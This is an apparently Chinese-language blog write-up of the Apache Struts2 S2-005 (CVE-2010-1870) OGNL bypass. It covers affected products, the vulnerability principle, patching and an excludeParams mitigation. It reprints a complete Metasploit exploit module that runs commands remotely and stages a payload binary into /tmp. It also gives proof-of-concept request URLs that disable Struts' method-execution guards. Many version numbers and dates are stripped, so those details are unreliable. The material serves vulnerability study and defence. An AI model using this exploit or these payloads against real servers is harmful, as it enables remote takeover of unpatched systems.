catalog

. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix

1. Description

struts2漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为ongl语句执行(可理解为java代码)。ongl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式讲这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
XWork是一个命令模式框架,用于支持Struts 2及其他应用  
在Atlassian Fisheye,Crucible和其他产品中使用的Struts 2.0.0至2.1.8.1版本中的Xwork中的OGNL表达式赋值功能使用许可的白名单,远程攻击者可以借助

. #context
. #_memberAccess
. #root
. #this
. #_typeResolver
. #_classResolver
. #_traceEvaluations
. #_lastEvaluation
. #_keepLastEvaluation和其他的OGNL上下文变量

以此来修改服务器端对象,并绕过ParameterInterceptors中的"#"保护机制

Relevant Link:

http://help.aliyun.com/knowledge_detail.htm?spm=5176.7114037.1996646101.1.ZttC6m&categoryId=8314968&knowledgeId=5974950&pos=1
http://cve.scap.org.cn/CVE-2010-1870.html
http://www.securityfocus.com/bid/41592/info

2. Effected Scope

VMWare vCenter Orchestrator 4.1
VMWare vCenter Orchestrator 4.0
OpenSymphony XWork 2.1.
OpenSymphony XWork 2.1
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
OpenSymphony XWork 2.0.
Cisco Unified Contact Center Enterprise
Atlassian Fisheye 2.3.
Atlassian Fisheye 2.2.
Atlassian Crucible 2.3.
Atlassian Crucible 2.2.
Apache Software Foundation Struts 2.1. .
Apache Software Foundation Struts 2.1.
Apache Software Foundation Struts 2.1.
Apache Software Foundation Struts 2.1
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0. .
Apache Software Foundation Struts 2.0. .
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0.
Apache Software Foundation Struts 2.0
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3.
Apache Software Foundation Archiva 1.3

3. Exploit Analysis

##
# $Id: struts_code_exec.rb -- ::09Z bannedit $
## ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts < 2.2.0 Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.. This issue is caused by a failure to properly
handle unicode characters in OGNL extensive expressions passed to the web server. By sending a specially crafted request to the Struts application it is possible to
bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
Bypassing this restriction allows for the execution of arbitrary Java code.
},
'Author' =>
[
'bannedit', # metasploit module
'Meder Kydyraliev', # original public exploit
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13584 $',
'References' =>
[
[ 'CVE', '2010-1870'],
[ 'OSVDB', ''],
[ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
],
'Platform' => [ 'win', 'linux'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Jul 13 2010',
'DefaultTarget' => )) register_options(
[
Opt::RPORT(),
OptString.new('URI', [ false, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', nil ]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
], self.class)
end def execute_command(cmd, opts = {})
uri = Rex::Text::uri_encode(datastore['URI'])
var_a = rand_text_alpha_lower()
var_b = rand_text_alpha_lower()
var_c = rand_text_alpha_lower()
var_d = rand_text_alpha_lower()
var_e = rand_text_alpha_lower() uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
puts uri
vprint_status("Attemping to execute: #{cmd}") resp = send_request_raw({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
}, )
end def windows_stager
exe_fname = rand_text_alphanumeric(+rand()) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
@payload_exe = payload_exe print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end def linux_stager
cmds = "/bin/sh@-c@echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(+rand()) execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64") execute_command("/bin/sh@-c@/tmp/#{file}")
@payload_exe = "/tmp/" + file
end def on_new_session(client)
if target['Platform'] == 'linux'
print_status("deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status("delete the #{@payload_exe} file manually after migrating")
end
end def exploit
if not datastore['CMD'].empty?
print_status("Executing user supplied command")
execute_command(datastore['CMD'])
return
end case target['Platform']
when 'linux'
linux_stager
when 'win'
windows_stager
else
raise RuntimeError, 'Unsupported target platform!'
end handler
end
end

Relevant Link:

http://downloads.securityfocus.com/vulnerabilities/exploits/41592.rb

4. Principle Of Vulnerability

XWork通过getters/setters方法从HTTP的参数中获取对应action的名称,这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL的处理方式如下

user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的,它的参数是用户可控的,由HTTP参数传入。OGNL的功能较为强大,远程执行代码也正是利用了它的功能

. Method calling: foo()
. Static method calling: @java.lang.System@exit()
. Constructor calling: new MyClass()
. Ability to work with context variables: #foo = new MyClass()
. And more...

由于参数完全是用户可控的,所以XWork出于安全的目的,增加了两个方法用以阻止代码执行

. OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (缺省为true)
. SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false)

但这两个方法可以被覆盖,从而导致代码执行

#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java.lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')

ParametersInterceptor是不允许参数名称中有#的,因为OGNL中的许多预定义变量也是以#表示的

. #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value.
. #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
. #root
. #this
. #_typeResolver
. #_classResolver
. #_traceEvaluations
. #_lastEvaluation
. #_keepLastEvaluation

可是攻击者在过去找到了这样的方法(bug编号XW-641):使用\u0023来代替#,这是#的十六进制编码,从而构造出可以远程执行的攻击payload

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=

对于(1)(2)这样的ongl表达式,ongl会把1当作一个ongl表达式先执行。对于url参数user=(1)(2),struts2只对user参数做了过滤,并没有限制参数值,从而导致漏洞的产生,即POC中综合了2种技术,()执行和#编码绕过技术

Relevant Link:

http://book.51cto.com/art/201204/330087.htm

5. Patch Fix

0x1: upgrade struts2

As of XWork 2.2.1, now being an integral part of the Struts 2.2.1 release, the ParameterInterceptor was changed to provide a very strict whitelist mechanism for acceptable, non malicious parameter names. Therefore parameters other than simple property navigation paths will be ignored.
It is strongly recommended to upgrade to Struts 2.2.1, which contains the corrected XWork library.

//访问POC
http://localhost:8080/crazyit/tag1?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti
me()))=

升级后的struts2加入了拦截器防御逻辑

七月 ,  :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)] didn't match accepted pattern [[\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['(\w|[\u4e00-\u9fa5])+'\])|(\('(\w|[\u4e00-\u9fa5])+'\)))*]]!
七月 , :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [(aaa)(('\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew java.lang.Boolean("false")))] is too long, allowed length is []
七月 , :: 下午 com.opensymphony.xwork2.interceptor.ParametersInterceptor warn
警告: Parameter [(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRunti me()))] didn't match accepted pattern [[\w+((\.\w+)|(\[\d+\])|(\(\d+\))|(\['(\w|[\u4e00-\u9fa5])+'\])|(\('(\w|[\u4e00-\u9fa5])+'\)))*]]!

0x2: Mitigation Workaround

Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters
The following additional interceptor-ref configuration, should mitigate the problem when applied correctly:

<interceptor-ref name="params">
<param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
</interceptor-ref>

我们知道,struts2是一个高度结构化的组件式的MVC开发框架,这种架构带来了开发的复杂性,但同时也使安全人员利用struts2原生提供的"串行Hook点"向框架中加入"安全过滤器",通过在"安全过滤器"中实现"应用层/代码层WAF"的目的
以上的代码本质上是利用了struts2的"拦截器栈"对HTTP请求进行了过滤,使用这种方案,需要对当前网站所配置使用的拦截器栈加入这段参数过滤配置

For this configuration to work correctly, it has to be applied to any params interceptor ref in any stack an application is using.
E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is once for defaultStack and twice for paramsPrepareParamsStack

0x3: 手工修复

如果要采取手工修复的方式,需要进行以下步骤

. 修改目标struts2应用的struts.xml文件,在对应的Action中添加新的拦截器,或拦截器栈,或者直接设置成默认拦截器
. 向目标struts2应用的src源代码中添加新的拦截器实现类
. 重启目标struts2应用进程,使拦截器生效

Relevant Link:

http://struts.apache.org/docs/s2-005.html

Copyright (c) 2015 Little5ann All rights reserved

struts2 CVE-2010-1870 S2-005 XWork ParameterInterceptors bypass allows remote command execution的更多相关文章

  1. struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and arbitrary file overwrite

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  2. struts2 CVE-2013-1965 S2-012 Showcase app vulnerability allows remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  3. struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  4. (转)struts2:数据校验,通过XWork校验框架实现(validation.xml)

    转载自:http://www.cnblogs.com/nayitian/p/3475661.html struts2:数据校验,通过XWork校验框架实现(validation.xml)   根据输入 ...

  5. Xwork概况 XWork是一个标准的Command模式实现,并且完全从web层脱离出来。Xwork提供了很多核心功能:前端拦截机(interceptor),运行时表单属性验证,类型转换,强大的表达式语言(OGNL – the Object Graph NavigationLanguage),IoC(Inversion of Control反转控制)容器等。 ----------------

    Xwork概况 XWork是一个标准的Command模式实现,并且完全从web层脱离出来.Xwork提供了很多核心功能:前端拦截机(interceptor),运行时表单属性验证,类型转换,强大的表达式 ...

  6. [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability

    漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...

  7. struts2:数据校验,通过XWork校验框架实现(validation.xml)

    根据输入校验的处理场所的不同,可以将输入校验分为客户端校验和服务器端校验两种.服务器端验证目前有两种方式: 第一种: 参考:struts2:数据校验,通过Action中的validate()方法实现校 ...

  8. struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix

    catalog . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch Fix 1 ...

  9. 利用struts2的json返回方式来控制jquery.validate的remote框架,进行表单验证

随机推荐

  1. RMQ(ST算法)

    RMQ(Range Minimum/Maximum Query),即区间最值查询,是指这样一个问题:对于长度为n的数列a,回答若干询问RMQ(A,i,j)(i, j<=n),返回数列a中下标在i ...

  2. java并发:线程同步机制之Volatile关键字&原子操作Atomic

    volatile关键字 volatile是一个特殊的修饰符,只有成员变量才能使用它,与Synchronized及ReentrantLock等提供的互斥相比,Synchronized保证了Synchro ...

  3. 手把手教你在Windows下搭建React Native Android开发环境

    最近看到React Native好像好厉害的样子,好奇心驱使之下体验了一下并将在Window下搭建React Natvie Android环境的步骤记录下来,并有需要的朋友参考.(我都是参考官方文档的 ...

  4. Bootstrap系列 -- 11. 基础表单

    表单主要功能是用来与用户做交流的一个网页控件,良好的表单设计能够让网页与用户更好的沟通.表单中常见的元素主要包括:文本输入框.下拉选择框.单选按钮.复选按钮.文本域和按钮等.其中每个控件所起的作用都各 ...

  5. [【codechefCHSEQ22】Chef and Favourite Sequence(并查集)

    题目:http://hzwer.com/3419.html 题意:给你一个全是0的数列,有m种操作[Li,Ri],每次操作就将下标处于[Li,Ri]的元素取反.你可以选若干个操作来使这个数列最后变成别 ...

  6. eclipse的历史版本及下载

    有时候我们总会遇到在需要eclipse而无法及时找到的时候, 所以那些有用的链接, 是帮助我们能够及时找到我们想要版本的额最好方式 Eclipse 3.1 IO[木卫一,伊奥] 2005 http:/ ...

  7. 在stream流和byte[]中查找(搜索)指定字符串

    在 stream流 和 byte[] 中查找(搜索)指定字符串 这里注重看的是两个 Search 的扩展方法,一个是 stream 类型的扩展,另一个是 byte[] 类型的扩展, 如果大家有更好的“ ...

  8. Day Two(Beta)

    站立式会议 站立式会议内容总结 331 今天:指导队友学会xml布局及简单动画,解决了关于中文链接过滤器不能将iso编码改为utf8的情况(修改servletContainer默认编码) 遇到的问题: ...

  9. springMVC学习--RESTful支持

    简介 RESTful架构,就是目前最流行的一种互联网软件架构.它结构清晰.符合标准.易于理解.扩展方便,所以正得到越来越多网站的采用.RESTful(即Representational State T ...

  10. ueditor1.3.6jsp版在struts2应用中上传图片报"未找到上传文件"解决方案

    摘要: ueditor1.3.6jsp版在struts2应用中上传图片报"未找到上传文件"解决方案 在struts2应用中使用ueditor富文本编辑器上传图片或者附件时,即使配置 ...